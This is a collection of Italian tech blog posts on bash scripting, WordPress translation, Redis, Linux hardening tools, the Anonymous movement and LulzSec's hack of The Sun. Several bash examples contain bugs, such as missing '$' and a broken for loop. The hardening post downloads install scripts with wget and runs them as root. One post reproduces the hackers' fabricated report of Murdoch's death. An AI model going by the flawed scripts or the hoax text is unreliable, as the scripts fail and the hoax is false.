Recentemente mi è capitato di dover spiegare ad un amico come funziono gli script shell linux. Uno script shell è utile quando bisogna fare delle operazioni ripetitive, pianificare delle operazioni da eseguire periodicamente, estendere le funzionalità di linux, ecc.

Le basi

Come prima cosa bisogna creare un nuovo file “scrip_esempio.sh” e dare ad esso i permessi di esecuzione (tramite interfaccia o con “chmod +x“), l’estensione “.sh” non è strettamente necessaria ma ci permette di riconoscere fin da subito i file che contengono script. La prima istruzione che andremo ad inserire dentro il notro file stabilisce quale shell dobbiamo eseguire, ed è proprio questa istruzione che fa “vivere” il nostro script shell,

#!/bin/bash

questo concetto per i neofiti sembra abbastanza assurdo, ma volendo semplificare le cose, basta pensare che la prima istruzione serve ad indicare il “programma” che interpreterà il nostro script. In molti script si può trovare anche la seguente dichiarazione: “#!/bin/sh”; la shell “sh“, senza scatenare guerre di religione, è ormai obsoleta, meglio usare “bash” che ha un set di istruzioni molto più ampio rispetto alla precedente, quindi, se in caso uno script non esegue alcune operazioni o non riconosce alcuni comandi controllate con quale “programma” state eseguendo lo script.

Come concetto di base uno script shell permette di eseguire una sequenza di “comandi“, programmi o altri script, organizzati in strutture usate nella programmazione. Quindi una conoscenza base dei comandi è necessaria, comunque in questa guida spiegherò passo passo quello che andremo a fare, invece, per chi vuole approfondire può consultare i seguenti link:

• http://www.di.unito.it/~vercelli/works/command-summary.html
• http://linux.collectiontricks.it/wiki/Guida_ai_comandi_base_della_shell_in_GNU/Linux
• http://it.wikipedia.org/wiki/Categoria:Comandi_Unix/Linux

Tutti i commenti sono preceduti dal simbolo cancelletto

#tutta la linea è commentata
cd cartella #tutto dopo il cancelletto è un commento

Vediamo ora un un semplice esempio

#!/bin/bash
#mi sposto nella cartella documenti, il simbolo "~" indica l'home directory dell'utente che esegue lo script
cd ~/Documenti
#mostro il contenuto con informazioni sui permessi, la data e il peso
ls -lah

Variabili, cicli, loop, ecc.

Oltre che lanciare i comandi singoli possiamo eseguire dei loop, cicli e condizioni, una rapida carrellata:

#inizializza una variabile
variabile="variabile"

#stampa una variabile
echo $variabile

#salva output di un programma in una variabile
variabile=$(ls /home/Utente/Scrivania)

#preleva input utente e lo salva in una variabile e poi lo stampa
echo -e "Inserisci una parola: \c"
read  parola
echo $parola

#preleva input utente e lo salva in una lista (array) e poi stampa gli elementi
echo -e "Inserisci delle parole:"
#l'opzione -a inserisce l'input in array
read -a parola
#stampo in modo grossolano, si dovrebbe fare un ciclo for ma è un esempio
echo "hai inserito: ${parola[0]}, ${parola[1]}, ${parola[2]}"

#un ciclo if elseif ed else
if [ $variabile = $condizione ];
  then
    echo "condizione true"
elif [ $variabile = $condizione ];
  then
    echo "condizione true di elseif"
else
    echo "condizione else"
fi

#un ciclo while
while [ $loop == "true" ]
do
   echo "questo è un loop"
done

#Dichiaro una lista (array) di 4 elementi, NB nota le virgolette
lista=( Debian Redhat 'Ubuntu 12.04' 'Linux 3.2' )
# recupero il numero degli elementi
n_elementi=${#lista[@]}
# for loop
for (( i=0;i<$n_elementi;$i++))
do
    echo "$lista[$i]"
done

Esempi utili

Lavorano con gli script spesso abbiamo bisogno di leggere, spostare, cercare e convertire file ecc. Ecco un po’ di esempi veloci

Operazioni sui file

#!/bin/bash
file="prova.txt"
if [ -e $file ]; #per l'opzione -e consulta la legenda
  then
    echo "File esiste"
  else
    echo "File non esiste"
fi
# -b filename 	Block special file
# -c filename 	Special character file
# -d directoryname 	Check for directory existence
# -e filename 	Check for file existence
# -f filename 	Check for regular file existence not a directory
# -G filename 	Check if file exists and is owned by effective group ID.
# -g filename 	true if file exists and is set-group-id.
# -k filename 	Sticky bit
# -L filename 	Symbolic link
# -O filename 	True if file exists and is owned by the effective user id.
# -r filename 	Check if file is a readable
# -S filename 	Check if file is socket
# -s filename 	Check if file is nonzero size
# -u filename 	Check if file set-ser-id bit is set
# -w filename 	Check if file is writable
# -x filename 	Check if file is executable

Un loop utile

#!/bin/bash
# cicla tutti i file in una cartella
for f in $( ls ~/Scrivania );
do
    echo $f
done

Uno script che rinomina file (sintassi avanzata)

#!/bin/bash
# Questo script cerca nei nomi dei file e sostiuisce tutti gli spazi con "_"
# la cartella da cercare,
cartella="~/musica"
# Il simbolo pipe "|" redirige lo STDOUT (standard output) nello STDIN (standard input) di un altro
# il programma "find" serve per cercare "-type f" cerca solo file
find $cartella -type f | while read file; do
# [:space:] è usato nelle espressioni regolari per indicare lo spazio
  if [[ "$file" = *[[:space:]]* ]];
    then
      # in un unico colpo rinomina il file usando "echo $file | tr ' ' '_'" come seconda opzione di "mv"
      # praticamente stampa il nome del file modificato tramite "tr" è un programma che manipola stringhe
      mv "$file" `echo $file | tr ' ' '_'`
  fi;
# fine del loop
done

Uno script di Conversione da .doc(x) a .pdf dato un elenco di ricerca

In un file .csv abbiamo su ogni riga il nome di un file .doc da convertire in .pdf

#!/bin/bash
#cartella di ricerca
ricerca="~/documenti"
#il file con l'elenco
file_ricerca="~/elenco.csv"
#una cartella per salvare i file salvati
cartella_salvataggio="~/salvataggio_pdf"
#controllo se la cartella di salvataggio esiste altrimenti ne creo una
if [ -d $cartella_salvataggio ]; then
	echo "La cartella esiste"
else
	mkdir cartella_salvataggio
fi
#mi sposto nella cartella di ricerca, altrimenti find cerca a partire dalla posizione dove si trova lo script
cd ricerca
#ogni ciclo inserisce una linea del file di ricerca nella variabile "linea", vedi chiusura per la lettura
while read linea;
do
  #"find"il comando che cerca, -iname è l'opzione che non distingue tra maiscole e minuscole
  # la forma "variabile=$(comando)" permette di salvare l'out di un comando in una variabile
  file_doc=$(find -iname $linea -type f)
  #controllo se la ricerca è vuota altrimenti converto, nel ciclo if metto la variabile tra "", se ci stanno spazi nel nome può generare errori strani
  if [ "$file_doc" == ""]; then
     echo "Il file $linea non si trova in questa cartella"
  else
    # copio il file trovato nella cartella di salvataggio
    cp "$file_doc" "$cartella_salvataggio/$file_doc"
    # il programma unoconv di solito non è installato con la suite openoffice, in caso bisogna installarlo
    # su i sistemi Debian "sudo apt-get install unoconv" per installarlo
    unoconv -f pdf "$cartella_salvataggio/$file_doc"
    #cancello il file doc originale nella cartella di salvataggio che ormai non serve più
    rm "$cartella_salvataggio/$file_doc"
  fi
# faccio leggere il file di ricerca a while
done < $file_ricerca
#mi sposto ad un livello superiore della cartella di salvataggio
cd $cartella_salvataggio
cd ..
#comprimo tutto in un archivio
tar -zcvf file_convertiti.tar.gz $cartella_salvataggio

Conclusioni

Per chi è proprio all’assciutto, per eseguire uno script basta spostarsi nella cartella dove si trova con “cd”, e successivamente scrivendo il nome dello script preceduto da “./” (significa che si intende far partire un programma dalla posizione corrente):

cd ~/cartella_dove/si_trova/lo_script
./nome_script.sh

Di sicuro questa non è una guida esaustiva sul grande universo dello scripting shell, spero che sia almeno utile per superare il primo scoglio: riuscire a capire come iniziare.
Per il resto c’è google, sa tutto…
Ciao

Recentemente in WordPress 3.3 ho avuto la necessità di tradurre un tema. Dato che il tema era già predisposto per le traduzioni mi sono detto tra me e me “Questa volta finisco in due secondi”.

Arturu: non dire sacco se non l’hai nel gatto

Come al solito procedo alla traduzione dei file .po e .mo, salvo, e niente nessuna traduzione… grrr. Dopo ore e ore ho risolto il problema, è cambiato qualcosina nel codice da inserire nel template. Nell’articolo verrà descritto passo passo come tradurre un tema di WordPress 3.3, chi è già esperto può saltare subito al paragrafo 2. Spero vi sia utile.

Facciamo finta che il nostro template non sia predisposto per le traduzioni, vediamo procedere passo passo.

1. Le label

Come prima cosa racchiudere tutte le stringhe di testo nelle funzioni di traduzione di wordpress:

Name

diventa

<p><? _e( 'Name' , 'mio_tema' ); ?></p>

2. Configurazione

Ora bisogna settare correttamente WordPress per le traduzioni. Controlliamo se in wp-config.php (si trova nella root di wordpress) c’è la seguente dichiarazione:

define('WPLANG', 'it_IT');

altrimenti l’aggiungiamo prima del require.

Ora apriamo ed inseriamo in cima a function.php(è nella cartella del template) il codice per attivare il texdomain e caricare il file di traduzione

add_action( 'after_setup_theme', 'mio_tema' );
function mio_tema_setup(){
    $locale = get_locale();
    load_theme_textdomain('mio_tema', get_template_directory().'/lang');
    load_textdomain('mio_tema', get_template_directory() . "/lang/$locale.mo" );
}

Creiamo una nuova cartella dentro la root del template che nomineremo “lang” e gli diamo temporaneamente i permessi 775 (o permessi sufficienti da permettere al webserver di scrivere nella cartella)

3. Generare i file .po e .mo che contengono le traduzioni del tema

Abbiamo due modi per farlo, il primo è usare Poedit per linux ma il modo più semplice è usare il fantastico plugin CodeStyling Localization sviluppato da Heiko Rabe.

Il plugin è semplice ed intuitivo, appena installato clicchiamo su:

• “Strumenti->Localizzazione”
• scorriamo la pagina fino a trovare il nostro tema da tradurre e in corrispondenza clicchiamo su “Aggiungi una nuova lingua“
• scegliamo la lingua che ci interessa e clicchiamo su “Crea un file po“
• in corrispondenza della nuova lingua appena aggiunta clicchiamo su “Ripeti la scansione“, poi su “Analizza“, appena finisce la scansione su “Finito” e chiudiamo la finestra
• clicchiamo su “Modifica“
• traduciamo stringa per stringa cliccando su “Modifica“, attualmente le API di google per la traduzione in automatico non funzionano (mi sa che da novembre 2011 google non le rende più disponibili).
• appena finito clicchiamo su “genera un file mo“, se in caso c’è anche un secondo texdomain dobbiamo anche tradurre le stringhe di quest’ultimo e poi generare il relativo file mo.

Abbiamo finito, godetevi le vostre traduzioni, ma prima impostare i permessi della cartella creata precedentemente in 755.

Saluti, Arturu

Da qualche giorno ho scoperto Redis e mi sto domando come iniziare ad utilizzarlo. Redis in parole povere è un database che lavora sulla ram, installato su un normale computer con un processore a singolo core riesce ad eseguire più di 100.000 operazioni di lettura/scrittura al secondo. Avete presente memcache, aggiungete il supporto per per le liste e lo storage basato su disco, ecco, questo è più o meno Redis. Redis lo potete usare come database delle code o come server cache o in entrambi i modi.

Forse è meglio farsi spiegare cos’è Redis dal suo sviluppatore “Salvatore Sanfilippo”

Redis è un database un pò bizzarro, rispetto ai canoni a cui siamo abituati, per due motivi principali:
1) Tiene tutti i dati in memoria anche se persiste sul disco. In pratica il disco serve solo nel caso in cui il database viene fermato e riavviato, a leggere nuovamente tutto il data set in memoria. Ma tutti gli accessi in lettura e scrittura vengono gestiti principalmente in RAM. Questo permette ad un singolo server Redis che gira su una macchina Linux normalissima, su un solo core, di raggiungere l’interessante prestazione di 100 mila query al secondo. Cosa più interessante le query in lettura e scrittura prendono lo stesso tempo.
2) Le operazioni che supporta sono molto diverse da quelle di un database SQL. Non c’è il concetto di tabella, e non è un semplice database Key-Value a cui si associa ad una stringa (la chiave) un’altra stringa (il valore). Infatti i valori possono essere di altri tipi, come liste, insiemi, insiemi ordinati, o semplicemente stringhe.

Tratto da un’intervista di Salvatore Sanfilippo su ossblog.it

Bhe vediamo di smanettarci un po’ su…

Prima di tutto bisogna installare il server, su un sistema come ubuntu eseguiamo:

 sudo apt-get install redis-server

Appena installato il server partirà sulla porta 6379. Per accedere tramite PHP al server Redis esistono molteplici librerie tra le quali: Predis e Rediska. Invece su questo link trovate le librerie Redis per tutti gli altri linguaggi.

Senza che faccio copia e incolla, cosa che non mi piace tanto, potete trovare degli esempi su: kevin.vanzonneveld.net, predis, antirez.com.

Qua trovate un articolo interessante sulle prestazioni.

Poi se non vi va d’installare niente potete sempre fare una prova su questo sito.

La documentazione ufficiale la trovate qua.

Se vi piace il progetto e avete 30 minuti liberi potete leggere Redis Zero To Master In 30 Minutes

Saluti a tutti, scusate se stavolta sono stato proprio rapido…

Tempo fa in questo articolo sull’hardening di base dei sistemi linux si è parlato delle tecniche basilari per mettere in sicurezza un sistema linux esposto sulla rete. In questo articolo vedremo come aumentare di un altro gradino la sicurezza utilizzando alcuni tra gli script più famosi, ovvero: apf (Advanced Policy-based Firewall), bfd (Brute Force Detection) e DDoS Deflate. In questo articolo vedremo come installare i citati scripts e la prima configurazione, inoltre, vedremo dove si trovano i file di configurazione per eventuali regolazioni “di fino”. Questo articolo è rivolto a persone che hanno una buona padronanza dei sistemi linux, inoltre, l’uso del solo “copia e incolla” incosciente può causare un blocco del vostro sistema, come sempre consiglio di ragionare prima di compiere azioni avventate.

Installazione e configurazione di APF: Advanced Policy-based Firewall

Questo script consente di pilotare iptables, su questa pagina si trovano informazioni più dettagliate su apf. Per installare APF bisogna guadagnare i permessi di root e scaricare il seguente file:

# wget http://rfxnetworks.com/downloads/apf-current.tar.gz

scompattiamo e installiamo

# tar xfz apf-current.tar.gz
# cd apf-*
# ./install.sh

a questo punto il firewall è installato e bisogna configurarlo, apriamo il file:

/etc/apf/conf.apf

le prime opzioni da configurare sono le seguenti e rispettivamente servono per: attivare il firewall (di default, attraverso un cron job, ogni 5 minuti vengono aggiornate le regole); configurazione degli ingressi TCP e UDP attivi; AntiDos.

DEVEL_MODE="1"
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,3306"
IG_UDP_CPORTS="53,111"
USE_AD="1"

successivamente possiamo far partire APF con il comando:

# apf --start

Se non siamo contenti della configurazione possiamo muoverci tra la configurazione di APF, ogni singola impostazione è strettamente descritta nel file stesso. Se vogliamo modificare la configurazione AntiDos, per renderla più restrittiva dobbiamo editare il seguente file:

/etc/apf/ad/conf.antidos

Installazione e configurazione di BFD: Brute Force Detection

Questo è uno script che analizza i file di log alla ricerca di errori di autenticazione, per maggiori informazioni sul funzionamento si può consultare questa pagina. Per installare BFD, come al solito guadagnamo i privilegi di root e rispettivamente con i seguenti comandi scarichiamo, scompattiamo e installiamo lo script:

# wget http://rfxnetworks.com/downloads/bfd-current.tar.gz
# tar xfz bfd-current.tar.gz
# cd bfd-*
# ./install.sh

il file di configurazione si trova nella seguente posizione:

/usr/local/bfd/conf.bfd

attiviamo lo script e impostiamo una mail modificando le seguenti impostazioni

ALERT="1"
EMAIL_USR="username@yourdomain.com"

come per il precedente script possiamo modificare una miriade di impostazioni che si trovano nel file di configurazione, non è complicato in quanto ogni impostazione è minuziosamente descritta. Buona cosa è editare il file

/usr/local/bfd/ignore.hosts

inserendo il vostro IP, per evitare, in caso di errori, che lo script neghi a voi stessi l’accesso. Non ci resta che far partire lo script:

/usr/local/sbin/bfd -s

Installazione e configurazione di DDoS Deflate

Questo script inizialmente è stato sviluppare per funzionare sui server MediaLayer per arginare gli attacchi (D)Dos, molti sysadmin vista l’efficacia decidono di installarlo sui propri server. Come al solito guadagnamo i privilegi di amministratore e con i seguenti comandi scarichiamo e installiamo DDoS Deflate:

# wget http://www.inetbase.com/scripts/ddos/install.sh
# sh install.sh

e già pronto per funzionare ma se vogliamo modificare qualche impostazione possiamo modificare il file:

/usr/local/ddos/ddos.conf

non ci resta che avviare lo script:

# /usr/local/ddos/ddos.sh -c

Conclusioni

In questo articolo abbiamo visto come aumentare di una tacca la sicurezza del nostro sistema linux, ricordate sempre che la sicurezza in modo assoluto non esiste e buona fortuna.

Saluti

PS Per gli script appena installati ricordate che al riavvio non partiranno, bisogna impostarli per farli partire al reboot.

Ultimamente mi ha incuriosito un movimento nato su Internet chiamato Anonymous. Il movimento nasce anni fa sulla piattaforma Imageboard di http://www.4chan.org/, dalla spontanea aggregazione di persone che commentavano la board /b/ firmandosi come Anonymous. Quel primo movimento caotico e multiculturale, è formato da numerose culture e idee ma una tra tutte prevale e che accomuna i suoi membri: “Cambiare il Mondo e renderlo più giusto”; favoloso, chi non ha mai avuto un desiderio simile, un po’ tutti penso. Questo movimento cresce e si diffonde in tutto il mondo, fino a diventare quello che è oggi, dai più definito superficialmente come un gruppo di hacker che compiono crimini, ma, secondo quello che ho visto fino ad ora, non è solo questo, c’è dell’altro.

Sviluppo del movimento

Le prime notizie di azioni rilevanti del movimento si hanno nel 2006, gli Hacktivisti di Anonymous si scagliano contro un parco divertimenti dell’Alabama reo di aver vietato a un bambino affetto di AIDS di immergersi in una piscina. Successivo è l’attacco al sito di un autore radio-fonico, Hal Turner, colpevole di sostenere la tesi della supremazia della razza bianca su tutte le altre. Nel Dicembre 2007 gli Hacktivisti di Anonymous smascherano il pedofilo Chris Forcand segnalandolo alla polizia e fornendo prove della sua compevolezza.

Nel 2008 gli Hacktivisti di Anonymous si organizzano per combattere la famigerata e temibile setta di Scientology. In questa occasione molti manifestanti si mascherano da Guy Fawkes temendo le ritorsioni della setta. La reazione di Scientology si fa sentire con azioni diffamatorie nei confronti di Anonymous, la setta defaccia un sito per ragazzini epilettici inserendo immagini in movimento che causano crisi firmandosi con il nome di Anonymous.

Il gruppo di Hacktivisti di Anonymous sostiene d’aver dato supporto informatico ai movimenti liberali dell’Iran, dello Zimbabwe, della Tunisia, dell’Egitto che poi sono sfociati nelle rivolte popolari atti a rovesciare i governi. In fine dando supporto agli Indignados spagnoli cavalcando il vento di anti-politica che sta nascendo in Europa.

Anonymous supporta e promuove i documenti di WikiLeaks. Attacca visa, paypal e altri istituti bancari quando essi decidono di non accettare più donazioni in favore di WikiLeaks.

Se volete approfondire l’aspetto storico, informazioni si trovano su wikipedia (presumibilmente scritte dagli stessi Anonymous): Anonymous, Imageboard.

Il concetto di Hacktivista

Attualmente, la maggior parte dei membri si definisce hacktivista e non hacker nel senso stretto del termine, la differenza è sottile e non di facile comprensione. Un hacktivista si definisce come un manifestante nel mondo digitale.

L’Hacktivista con la sola presenza su un sistema informatico esplica la sua funzione di protesta. Come tutti sanno quando un server ha un grosso numero di accessi incomincia a non funzionare bene, cioè inizia a razionalizzare le proprie risorse finché non fornirà più alcun dato. Finita la manifestazione di protesta gli hacktivisti abbandonano il server ed esso, senza alcun danno, inizia a fornire nuovamente dati.

Alcune volte tra gli hacktivisti si “intrufolano” veri e propri hackers che tentano di violare i sistemi informatici presi di mira, certamente è difficile capire se ci sono nessi tra gli hacktivisti e hackers.

Gli hacker del movimento

Questa possiamo dire che è la parte più estremista del movimento. Come tutti ben sanno, in Italia il movimento di Anonymous è diventato noto per gli attacchi, ad opera da parte di una corrente interna di hacker, verso alcuni siti web italiani e non:

• Enel.com, con la motivazione di “ancora una volta mostra di perseguire i propri interessi in modo indegno. Al fine di costruire impianti idroelettrici in Guatemala, nel municipio di Cotazal, l’Enel assolda (con i denari di tutti gli italiani) 500 mercenari in assetto di guerra con passamontagna e forze antisommossa per occupare la comunità indigena maya ixil di San Felipe Chenla, che dal 3 gennaio sta protestando contro la Enel” (fonte non più disponibile in quanto il sito che rivendicava l’attacco è stato oscurato);
• i siti web della sony e specialmente la piattaforma di gioco online, a quanto pare gli hacktivisti di Anonymous sostengono che i videogiochi rimbecilliscono le persone;
• molti siti governativi Statunitensi in quanto l’amministrazione americana ha arrestato l’hacker che ha fornito ad Assange i materiali riservati pubblicati su wikileaks;
• Paypal in quanto ha rifiutato di accettare donazioni in favore di wikileaks;
• molti siti delle università italiane per dimostrare alle stesse la fragilità dei loro sistemi;
• il sito dell’Agicom con la denuncia di “L’Agcom vorrebbe istituire una procedura veloce e puramente amministrativa di rimozione di contenuti online considerati in violazione della legge sul diritto d’autore.
  L’Autorità potrebbe sia irrogare sanzioni pecuniarie molto ingenti a chi non eseguisse gli ordini di rimozione, sia ordinare agli Internet Service Provider di filtrare determinati siti web in modo da renderli irraggiungibili dall’Italia. Il tutto senza alcun coinvolgimento del sistema giudiziario. Questa normativa dovrebbe entrare in vigore tra pochi giorni. Per questo chiediamo l’aiuto di tutti in questa protesta” contro misure che minano “alle fondamenta il diritto di avere una Rete libera e imparziale” fonte;
• i siti vicini al partito del Pdl, per la questione Agcom;
• il Cnaipic, ma questa è una storia controversa in quanto ci sono state prima delle rivendicazioni e poi delle smentite, però non si capisce la motivazione;

A quanto ho intuito, ma non lo posso dimostrare, il gruppo di hacker è alla ricerca di documenti “scottanti” che possono comprovare insabbiamenti e “la corruzione interna ai governi”, documenti che successivamente verranno usati per le altre fasi del loro piano.

Organizzazione

Facendo un analisi molto superficiale Anonymous sembra un movimento caotico e totalmente anarchico, ma cercando di capire ed analizzando un pochino si scopre che non è del tutto così. Navigando tra i canali della chat ho notato una struttura organizzata per temi e aree geografiche, fatta eccezione per il caotico canale italiano; sul canale italiano gli attacchi al canipic hanno attirato una moltitudine di persone in cerca di fama, perciò, è stato quasi impossibile riuscire a capire che cos’è Anonymous.

A quanto ho capito Anonymous non ha una gerarchia o una linea gerarchica, ma è formata da gruppi autogestiti che perseguono un obiettivo comune: “Cambiare il Mondo e renderlo più giusto”. In bocca al lupo!

L’intera organizzazione del movimento non è gestita in un unico sito ma è distribuita su una moltitudine di siti web, quelli che sono riuscito a rintracciare sono i seguenti:

• http://www.whatis-theplan.org, “Il piano per cambiare il mondo”;
• http://anonops.blogspot.com/;
• http://anonops-ita.blogspot.com/
• http://www.anonnewsnet.com/;
• http://anonnews.org/;
• http://www.whyweprotest.net/;
• http://hbgary.anonleaks.ch/;
• http://youranonnews.tumblr.com/;
• http://lulzsecurity.com/;
• http://anonplus.infiniteserve.com/;
• http://irc.lc/AnonOps/OpItaly , la chat italiana;
• tanti altri basta cercare su google o dai collegamenti dei siti citati.
• numerosi account su twitter, facebook e social network in genere…

Il piano per cambiare il mondo in un anno

Diciamo che è ambizioso come obiettivo. Per ora sono riuscito a trovare soltanto dei video su youtube, e “Il piano” è suddiviso in tre fasi dalla durata totale di un anno. La prima fase è iniziata il 15 Giugno 2011, presumibilmente è la fase di presentazione visto che stanno facendo tutto sto “baccano”. In che cosa consistano le altre due fasi non si riesce a capire in quanto nei video viene detto che “i dettagli saranno rilevati in seguito”. Ve ne propongo alcuni tra i più “folcroristici”:

Conclusioni

Diciamo che queste sono le prime impressioni che mi son fatto su Anonymous. Sono molto curioso su questo movimento, specialmente di capire se la storia “Del cambiare il Mondo” fino a quanto può essere vera, comunque, ci sono molti punti oscuri che non riesco a spiegare. Vedremo che succede.

Saluti.

PS Se a “qualcuno” non è piaciuto l’articolo e decide di attaccarmi, lo faccia pure, sicuramente riuscirà a fare danni; sono abbastanza conscio che la sicurezza assoluta non esiste. In questo articolo ho solo raccontato, liberamente, ciò che son riuscito a vedere e a conoscere.

Questi Social Network stanno veramente diventando stressanti, migliaia di account, un sacco di login e password diverse, post qua, riposti la, post giù, condividi, mi piace, ecc… Si esce pazzi, quasi quasi mi cancello da tutti, a meno che non posso gestirli tutti tramite un unico account. Mi domando, come fare a gestire (collegare) con un unico account tutti gli altri account su google+, facebook, linkedin, flikr, hotmail, yelp, quora, plaxo, ecc…

Forse google mi può salvare, si google mi può salvare, google mi salverà…

In alto a destra c’è la rotellina, cliccare su “Impostazioni Google+” successivamente dal menù a sinistra su “Account Collegati”. Appare la seguente immagine, poi è facile: si sceglie l’account e si seguono le istruzioni. Possiamo gestire con un unico account google+ collegando: facebook, twitter, yahoo, flikr, linkedIn, quora,yelp, hotmail e plaxo.

Edit——

Forse stavolta ho preso un abbaglio, non mi sembra che sia cambiato qualcosa, dovrò indagare, stavo goongoloando…

Ecco un elenco di notizie degli ultimi due mesi che reputo interessanti per il modo informatico e le ripropongo ai lettori del blog. Gli argomenti spaziano da: rilascio del kernel linux 3.0, rilascio di vmware 5, SecureID violato, Ebay acquista Magento, Skype violato, Social Network, una notizia di un mese fa su Anonymous.

• E’ stato rilasciato il kernel linux 3.0 www.kernel.org . La mail originale di Linus Torvald che annuncia il rilascio del kernel 3.0 http://lwn.net/Articles/444314 .
• Rilasciato VmWare ESXi 5 http://suretalent.blogspot.com/2011/05/vmware-esxi-50-release-features-of.html
• Lockheed Martin RSA tra i più grandi produttori di armi al mondo violata, a quanto pare è stato duplicato un token RSA SecurID. http://www.pcmag.com/article2/0,2817,2386086,00.asp evento che rende pericolosa anche le transazioni online.
• Ebay acquista Magento http://www.magentocommerce.com/blog/ebay-agrees-to-acquire-magento
• Le chiamate su skype si possono intercettare http://www.scmagazine.com.au/News/258827,how-to-intercept-skype-calls.aspx grazie al reverse engineering del protocollo http://tech.slashdot.org/story/11/06/02/1914250/Skype-Protocol-Has-Been-Reverse-Engineered durato anni. Una possibile alternativa potrebbe essere http://www.fsf.org/blogs/community/skype-replacement-projects
• Anche gli hackers di Anonymous vogliono lanciare il loro Social Network, logicamente solo notizie in completo anonimato, forse non gli è andata giù l’estromissione da Google+ , oppure per uno spirito di concorrenza con il nuovo Social Network della Microsoft annunciato in modo maldestro http://www.socl.com/. Il social di Anonymous http://anonplus.com/ in questa pagina l’annuncio http://www.examiner.com/anonymous-in-national/anonplus-the-anti-social-networkhttp-anonplus-com
• E per ultimo una notizia vecchia, il 3 giugno 2011 il team di hackers Lulz Security diffonde online la configurazione del server web di nintendo.com dopo averlo violato, la ripropongo, magari a qualcuno interessa vedere come i grossi web server vengono configurati e gli errori che si fanno, prima però una massima di qualcuno che non ricordo il nome:

Chi non conosce gli errori della Storia, è destinato a ripeterli

configurazione server web nintendo.com

Saluti

In queste ore @LulzSec (19 Luglio 2011 ore 00:57 +1) con un attacco DDOS sta attaccando il giornale di Murdoch www.thesun.co.uk. Infatti se tentate di visualizzare la pagina http://www.thesun.co.uk/sol/homepage/ dopo pochi secondi verrete renderizzati su http://twitter.com/#!/LulzSec account twitter degli attaccanti.

Gli Hacker hanno messo su un articolo che è stato subito cancellato, ma ancora la pagina di thesun.co.uk renderizza sull’account twitter di LulzSec. L’attacco è stato annunciato con questo post su twitter:

We have joy we have fun we will mess up Murdoch’s Sun: http://t.co/JArvwg1 | Hi Rupert! Avere domani divertimento al Parlamento! # AntiSec Have fun tomorrow at the Parliament! #AntiSec

L’articolo che hanno messo su è il seguente:

Rupert Murdoch, the controversial media mogul, has reportedly been found dead in his garden, police announce.
Murdoch, aged 80, has said to have ingested a large quantity of palladium before stumbling into his famous topiary garden late last night, passing out in the early hours of the morning.
“We found the chemicals sitting beside a kitchen table, recently cooked,” one officer states. “From what we can gather, Murdoch melted and consumed large quantities of it before exiting into his garden.”

Chemicals found in house

Authorities would not comment on whether this was a planned suicide, though the general consensus among locals and unnamed sources is that this is the case.
One detective elaborates. “Officers on the scene report a broken glass, a box of vintage wine, and what seems to be a family album strewn across the floor, containing images from days gone by; some containing handpainted portraits of Murdoch in his early days, donning a top hat and monocle.”
Another officer reveals that Murdoch was found slumped over a particularly large garden hedge fashioned into a galloping horse. “His favourite”, a butler, Davidson, reports.
Butler Davidson has since been taken into custody for additional questioning.

Gli hacker sostengono di aver dirottato anche le mail. Del motivo di questo attacco non si capisce il perché, forse per gli ultimi avvenimenti? bho… o perché si vocifera nell’ambiente di quel fatto di tele+ e degli hacker assoldati per craccare le schede che hanno indebolito a livello economico l’emittente che successivamente è stata assorbita da Murdoch? oppure semplicemente un passatempo estivo…

Notte…

9:15 Aggiornamento: notizie sulla dinamica qua http://www.guardian.co.uk/technology/2011/jul/19/how-lulzsec-hacked-sun-website

Premesso che la sicurezza in modo assoluto non esiste, oggi affronteremo un argomento molto vasto e complesso l’hardening di un sistema linux, cioè come rendere più sicuro un sistema esposto sulla rete. In realtà non esiste una guida o “la guida” per mettere in sicurezza un sistema linux ma esistono delle regole per evitare che un sistema sia meno attaccabile. Inoltre, questa non vuole essere una guida esaustiva ma una specie di promemoria sulle operazioni da compiere appena installato un sistema linux.
Questo promemoria sull’hardening di un sistema linux è destinato a persone che hanno un po’ di esperienza su linux, particolari conoscenze o riti arcani non servono, basta conoscere un po’ il sistema che si intende modificare e i concetti base di linux, comunque, se ricopiate paro paro i comandi senza ragionare rischiate di rendere inaccessibile il vostro sistema.

Le partizioni e il filesystem

Come tutti sanno la radice del filesystem può essere su un unica partizione oppure articolata con diversi punti di montaggio. Come da molte guide che si possono trovare in giro per la rete è ormai assodato che le directory /tmp , /var , /usr e /home vanno montate in partizioni separate.

• Il punto di montaggio /tmp è pubblico, cioè tutti gli utenti devono avere la possibilità di scrivere, quindi, un aumento spropositato di questo punto di montaggio potrebbe mettere in crisi tutto il sistema se esso fosse su un’unica partizione. Non conviene montare questa partizione con l’opzione noexec poiché spesso alcuni software usano questa posizione per installare/aggiornare i pacchetti. Poi, se si è abbastanza paranoici come il sottoscritto, si può montare la partizione con l’opzione noexec, quando bisognerà fare manutenzione sul sistema /tmp verrà smontata e rimontata senza l’opzione noexec.
• Il punto di montaggio /var è altrettanto importante per quanto riguarda la sicurezza del sistema, specialmente per la presenza di /var/log, in esso vengonono salvati i log di sistema e in caso di un attacco DOS o un brute force potrebbe aumentare a dismisura. Questa partizione si può montare tranquillamente con l’opzione noexec.
• Il punto di montaggio /usr va montato in sola lettura, da smontare e rimontare in scrittura quando bisogna fare manutenzione al sistema.
• Per il punto di montaggio /home è buona cosa usare una partizione separata, per una serie infinita di motivi, tra i quali vi è la necessità di montare la partizione con l’opzione noexec. Questo si fa per evitare che un utente possa caricare un eseguibile bacato con l’intento di sfruttare lo stesso eseguibile per ottenere i privilegi di amministratore tramite shellcode.

Già queste impostazioni garantiscono una buona sicurezza, poi se si è abbastanza paranoici si può pensare di togliere il bit SUID/SGID da molti eseguibili non strettamente necessari, dipende da sistema a sistema. In caso si utilizza un sistema virtuale in remoto si potrebbe anche utilizzare le quote per settare le dimensioni massime che devono avere le cartelle.
Se siete sysadmin molto paranoici come il sottoscritto, subito dopo l’installazione del sistema ci si può calcolare hash di alcuni file sensibili: grep, ls, ps, netstat ecc; infatti, essi sono i primi che un probabile un attaccante modifica per nascondersi nel sistema. Per questa operazione è meglio usare MD5 e SHA1 al posto di MD2 e MD4 che sono algoritmi già violati (teoricamente anche l’MD5 è violabile ma solo in determinate condizioni che non rientrano nel nostro caso). Logicamente ad ogni aggiornamento bisogna ricalcolare gli hash, ci si può costruire facilmente uno script che faccia questo.

Utenti

